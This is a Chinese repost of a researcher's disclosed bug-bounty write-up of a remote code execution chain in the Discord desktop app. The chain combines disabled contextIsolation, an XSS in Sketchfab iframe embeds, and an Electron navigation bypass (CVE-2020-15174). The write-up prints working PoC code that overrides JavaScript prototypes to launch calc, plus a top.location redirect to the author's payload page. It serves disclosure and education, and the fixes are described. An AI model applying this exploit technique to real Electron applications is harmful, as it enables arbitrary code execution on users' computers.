当前位置: 首页 > 科技观察

综合三个Bug实现Discord桌面应用RCE漏洞

时间:2023-03-19 12:55:07 科技观察

结合三个bug实现Discord桌面应用程序的RCE漏洞奖励5,300。Discord是一种即时消息(IM)软件,用于游戏玩家的一体化语音和文本聊天。目前Discord已经覆盖Windows、MacOS、Android、iOS、WindowsPhone等主流平台。之所以选择测试Discord,是因为我对Electron架构的APP漏洞测试比较有经验,而Discord应用恰好是基于Electron架构开发的,我也是Discord用户。Discord做了分析。漏洞发现我在下面的Discord应用中发现了三个bug,综合利用最终形成了RCE漏洞:MissingcontextIsolation(contextIsolationfunctionisnotenabled)XSSiniframeembeds(XSSiniframeembedfunction)Navigationnavigationrestrictionfunctionbypass(Navigationrestrictionbypass,CVE-2020-15174)ThecontextIsolationfunctionisnotenabled(MissingcontextIsolation)在测试Electron架构时,我通常会先检查BrowserWindowAPI的选项,当创建浏览器窗口时会调用BrowserWindowAPI。测试的时候我在想,当Electron渲染器(renderer)加载的时候,什么样的任意JS代码执行会导致RCE?虽然Discord的Electron架构不是开源的,但Electron的JS代码存储在应用程序本地。所以我可以提取并查看它。通过查看本地JS代码,发现APP主界面后台使用了如下方法函数:constmainWindowOptions={title:'Discord',backgroundColor:getBackgroundColor(),width:DEFAULT_WIDTH,height:DEFAULT_HEIGHT,minWidth:MIN_WIDTH,minHeight:MIN_HEIGHT,transparent:false,frame:false,resizable:true,show:isVisible,webPreferences:{blinkFeatures:'EnumerateDevices,AudioOutputDevices',nodeIntegration:false,preload:_path2.default.join(__dirname,'mainScreenPreload.js'),nativeWindowOpen:true,enableRemoteModule:false,spellcheck:true}};从上面的代码片段可以看出,我们需要检查的是nodeIntegration和contextIsolation的配置。修改后的version和contextIsolation也配置为false。如果nodeIntegration为true,那么网页的JS代码可以通过调用require()方法来使用Node.js的功能。比如在Windows系统中执行如下计算器calc.exe程序代码:但是在Discord中,nodeIntegration是false,所以我也不能调用require()以使用Node.js功能。但是,仍然有一种方法可以访问Node.js的功能。接下来,让我慢慢解释。Discord中另一个重要的函数contextIsolation也配置为false,用于隔离不可信内容,所以如果要杜绝RCE,那么这个函数就不要配置为false。如果contextIsolation为false,那么网页中的JS可以影响Electron内部渲染中JS代码和预加载脚本的执行(这里Electron内部渲染中的JS代码是指网页外的JS脚本),例如,假设你使用Web页面的JS中的方法函数覆盖了Electron内置的Array.prototype.joinJS方法,那么当网页外的JS脚本加载join方法时,它会调用被调用的方法函数后来被覆盖。这种行为是非常危险的,因为通过这种方式,可以直接重写nodeIntegration的配置,让Electron允许网页外的JS脚本使用Node.js的特性。如果为假,也可以演化为RCE漏洞。顺便提一下,早在2016年我在Cure53的时候就发现了类似的漏洞,并报告给了Electron安全团队。后来在Electron架构中引入了contextIsolation功能。这是最近才公开的技术细节的PDF:https://drive.google.com/file/d/1LSsD9gzOejmQ2QipReyMXwr_M0Mg1GMH/viewhttps://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-引入isolation-curecon-encontextIsolation函数的目的是为了隔离Web页面和Web页面之外的JS代码,使其在执行过程中不会相互影响。如果存在不受信任的内容或操作,则出于安全考虑,此功能是必需的。在Discord中,此功能被配置为false并被禁用。于是,我按照上述覆盖JS脚本的方法,在Discord中针对该漏洞展开了测试。由于Electron内置的JS代码在渲染时可以在任何ElectronAPP中执行,所以一般我在测试Electron的RCE时,习惯上先使用Electron内置的JS代码在渲染时进行测试。在我的文章中,我写到在执行导航计时时,可以使用Electron的代码来实现RCE。这个缺陷不仅可以从代码中发现,也可以从其他地方发现(我以后会发布详细的PoC例子)。但是由于目标应用使用的Electron版本或者BrowserWindow选项设置不同,我实际测试的PoC在Discord开始运行Electron的时候一直不稳定,所以我把测试重点放在了preload脚本上。在测试预加载脚本时,发现Discord应用暴露了DiscordNative.nativeModules.requireModule('MODULE-NAME')方法函数,可以通过调用一些模块函数进入网页来实现。但是经过测试,我发现并不能有效的调用child_process这样的模块来实现RCE,但是我可以使用上面提到的override方法来覆盖DiscordElectron中内置的JS方法,干扰暴露模块的执行来实现实现RCE。.以下是相关的PoC。当重写DiscordElectron内置的RegExp.prototype.test和Array.prototype.join方法,调用“discord_utils”模块中定义的getGPUDriverVersions方法函数时,可以触发calc.exe程序的执行:RegExp.prototype.test=function(){returnfalse;}Array.prototype.join=function(){return"calc";}DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVersions();getGPUDriverVersions方法函数用于执行“execa”库调用:module。exports.getGPUDriverVersions=async()=>{if(process.platform!=='win32'){return{};}constresult={};constnvidiaSmiPath=`${process.env['ProgramW6432']}/NVIDIACorporation/NVSMI/nvidia-smi.exe`;try{result.nvidia=parseNvidiaSmiOutput(awaitexeca(nvidiaSmiPath,[]));}catch(e){result.nvidia={error:e.toString()};}returnresult;};通常,“execa”库是用于执行nvidiaSmiPath变量中指定的“nvidia-smi.exe”显卡程序,但由于RegExp.prototype.test和Array.prototype.join方法被覆盖,“execa”库中的nvidiaSmiPath变量名被覆盖为“计算”。具体来说,nvidiaSmiPath中的变量覆盖需要更改以下两个JS文件:https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36https://github。com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55此时“nvidia-smi.exe”可以成功替换为“calc”,然后找到执行JS代码RCE即可可以通过这种方式成功实施。iframeembeds中的XSS在我搜索XSS的过程中,我发现DiscordAPP支持自动链接或Markdown之类的东西,这很有趣。经测试,如果Discord用户的通讯信息中有视频帖子,比如You-tubeURL,那么类似于Markdown的iframe嵌入功能可以显示视频播放器。由于Discord涉及用户的各种社交通讯信息,因此支持OpenGraphProtocol(开放内容协议)。如果用户通信信息中包含OGP信息,Discord应用程序将显示其中出现的网页的标题、描述和缩略图。以及一些相关的视频内容。当用户通讯信息中的视频URL链接嵌入到iframe中时,Discord应用程序将提取视频URL链接。后来看不到Discord应用相关的iframe嵌入功能文档,只好在它的CSPframe-src指令中寻找线索,发现它采用了如下CSP策略:Content-Security-Policy:[...];frame-srchttps://*.you-tube.comhttps://*.twitch.tvhttps://open.spotify.comhttps://w.soundcloud.comhttps://sketchfab.comhttps://player.vimeo.comhttps://player.vimeo.comhttps://player.vimeo.com://www.funimation.comhttps://twitter.comhttps://www.google.com/recaptcha/https://recaptcha.net/recaptcha/https://js.stripe.comhttps://assets.braintreegateway.comhttps://checkout.paypal.comhttps://*.watchanimeattheoffice.com可以看到,里面列出了允许iframe的策略嵌入(例如嵌入YouTube、Twitch、Spotify视频)。接下来我会一一测试这几个域,希望在嵌入iframe视频的时候触发XSS。经过测试,发现域名sketchfab.com在嵌入iframe时可以产生XSS,这是一个简单的基于DOM的XSS。下面是我根据OGP协议做的一个PoC。当我在聊天模式下将URL链接发送给另一个Discord用户时,单击iframe将触发任意JS代码执行:https://l0.cm/discord_rce_og.html[...]现在,虽然找到了XSS,但是触发的JS代码只能在iframe中执行。由于Electron不会将“网页外的JS代码”加载到iframe中,所以即使我重写了其iframe内置的JS方法,仍然无法调用Node.js的相关函数。所以要实现真正的RCE,就需要跳出iframe的限制,站在用户浏览内容的层面去考虑。这需要在iframe中创建一个新窗口,或者从iframe导航到另一个URL中的顶级窗口。分析相关代码后发现,Navigationrestriction(导航限制)的主要代码使用了“new-window”和“will-navigate”两个事件:mainWindow.webContents.on('new-window',(e,windowURL,frameName,disposition,options)=>{e.preventDefault();if(frameName.startsWith(DISCORD_NAMESPACE)&&windowURL.startsWith(WEBAPP_ENDPOINT)){popoutWindows.openOrFocusWindow(e,windowURL,frameName,options);}else{_electron.shell.openExternal(windowURL);}});[...]mainWindow.webContents.on('will-navigate',(evt,url)=>{if(!insideAuthFlow&&!url.startsWith(WEBAPP_ENDPOINT)){evt.preventDefault();}});只要突破这里,就可以在iframe框架中新建一个窗口,或者从iframe导航到另一个URL中的顶层窗口。然而,这里有一个我完全没有想到的缺陷。Navigationrestrictionbypass(navigationrestrictionbypass,CVE-2020-15174)在查看导航限制相关代码时,我以为iframe应该是有导航限制的,没想到iframe居然没有限制导航机制.我本以为“will-navigate”事件和preventDefault()会在相关导航动作绕过发生之前捕获或拦截它,但事实并非如此。为了测试导航绕过,我创建了一个简单的Electron应用,发现顶部导航(topnavigation)中的“will-navigate”事件不会跳出iframe,具体来说,如果顶部导航属于domain与iframe的domain相同,will-navigate事件会跳出,否则不会跳出。这不是正常的操作行为,而是一个错误。有了这个错误,我就能够绕过导航限制。最后,我所要做的就是导航到触发XSS的iframe页面,并在其中包含RCEPayload代码。top.location="//l0.cm/discord_calc.html"最后,综合利用以上三个bug,我在Discord应用中成功实现了远程代码执行(RCE)。POC视频:https://tinyurl.com/y5nx6zjy漏洞处理我通过Discord公测项目报告了这三个漏洞。之后,Discord安全团队禁用了Sketchfab的嵌入功能,然后在iframe中添加了沙箱功能以防止导航限制被绕过,同时启用了contextIsolation功能。我为此获得了5,000的漏洞赏金。https://github.com/electron/electron/security/advisories/GHSA-2q4g-w47c-4674另外,XSS漏洞报告给Sketchfab后,Sketchfab悬赏$300;将“will-navigate”事件漏洞报告给AfterElectron,分配的漏洞编号为CVE-2020-15174。参考来源:mksben